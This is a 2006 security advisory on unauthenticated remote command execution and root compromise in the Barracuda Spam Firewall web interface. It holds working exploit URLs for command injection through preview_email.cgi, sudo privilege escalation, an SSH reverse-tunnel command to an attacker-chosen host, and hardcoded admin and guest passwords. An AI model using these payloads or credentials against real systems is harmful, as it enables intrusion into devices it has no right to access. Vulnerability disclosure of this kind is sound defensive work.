Barracuda Spam Firewall: Administrator Level Remote Command Execution [ID-20060804-01]
Severity: High - Full system compromise possible
Date: 04 August 2006
Discovered by: Matthew Hall (matt@xxxxxxxxxx) (Credits for original
discovery to Greg Sinclair)
Discovered on: 03 Aug 2006
Summary:
Lack of input sanitisation in the Linux based Barracuda spam firewall
web interface allows execution of commands by unauthenticated users.
Combined with priviledge elevation techniques, execution of commands as
the root user is possible allowing a full system compromise.
Details:
In a follow-up investigation to bid 19276 - 'Barracuda Vulnerability:
Arbitrary File Disclosure [NNL-20060801-02]' by Greg Sinclair, further
investigation was performed by the Internet Defence Security Team and
several extra vulnerabilities were discovered, which when leveraged with
privilege escalation techniques allowed the remote execution of commands
as the root user without any authentication.
The original discovery by Greg Sinclair showed that it was possible to
open arbitrary files, either owned by the user/group 'nobody:nogroup' or
with world-read access, through the web interface using a path
sanitation vulnerability in preview_email.cgi, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
Access to the path '/cgi-bin/preview_email.cgi' does not require any
authentication.
Using this vulnerability, it is also possible to use the pipe character
(|) to redirect the stdout of any programs run, to the stdin of the file
open function to print the output of the command back to the web
interface, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20-la%20/|
It was then possible to leverage further privileges, as the user the
http daemon runs as (nobody), is granted root level access to several
system commands via the use of sudo, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/sudo%20touch%20/foo|
(Repeating the previous command should then show that the file 'foo' has
been created with root permissions in '/').
The commands allowed (this is not a canonical list) include:
mkdir, mv, cp, kill, ls, ln, chown, chmod, rm, echo, cat
(aswell as access to several 'wrapper' scripts in
/home/emailswitch/code/firmware/current/bin/)
Access to such commands as a chown and chmod allowed further privilege
escalation by setting the 'suid' bit on several other system programs,
which could then be executed through the webinterface, without the use
of sudo, and would run with root priviledges.
As such, a complete system compromise is possible remotely through the
web interface without any authentication.
It was also noted in bid 19276 - 'Barracuda Vulnerability: Hardcoded
Password [NNL-20060801-01]' a hardcoded 'guest' user password existed,
which was 'bnadmin99'.
During further investigation it was noted that there was also a
hard-coded 'admin' user password (this is the admin user for the web
interface), which is only possible to use if the httpd environment
variable 'REMOTE_ADDR' equals '127.0.0.1'.
If this case is true, then it is possible to login to the web interface
as the admin user using the password 'adminbn99'.
In order to gain elevated privileges to login to the web interface as
the admin user, it is possible to bind a reverse ssh shell which would
eventually satisfy the 'remote_addr == localhost' check.
It was possible to expose the ssh rsa public key, which then could be
copied to a users' '.ssh/authorized_keys2' on a local machine, e.g:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/cat%20/home/emailswitch/code/config/id_rsa.pub|
With the public key in the authorized_keys2 file, it was then possible
to initiate the reverse shell from the web interface, e.g:
https://<deviceip>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/ssh%20-T%20-i%20/home/emailswitch/code/config/id_rsa%20-R%208080:localhost:443%20<youruser>@<youripaddress>|
It was them possible to login to 'https://127.0.0.1:8080/' with the
username of 'admin' and password of 'adminbn99' and manage the device as
an administrator.
It was noted that the original file input sanitation vulnerability seems
to have been 'silently' fixed by Barracuda Networks (as of 11pm GMT
03/08/06), which mitigates the attacks above.
So far, no advisories or update notices can be found on their website,
and the version numbers of the affected software remains the same.
Recommendations:
We agree with Greg Sinclair's statement that the web interface should
never be made accessible from untrusted networks like the Internet.
The web interface on the Barracuda Spam Firewall has a history of
similar issues, so we believe that it is highly likely that more
vulnerabilities will be found in the future.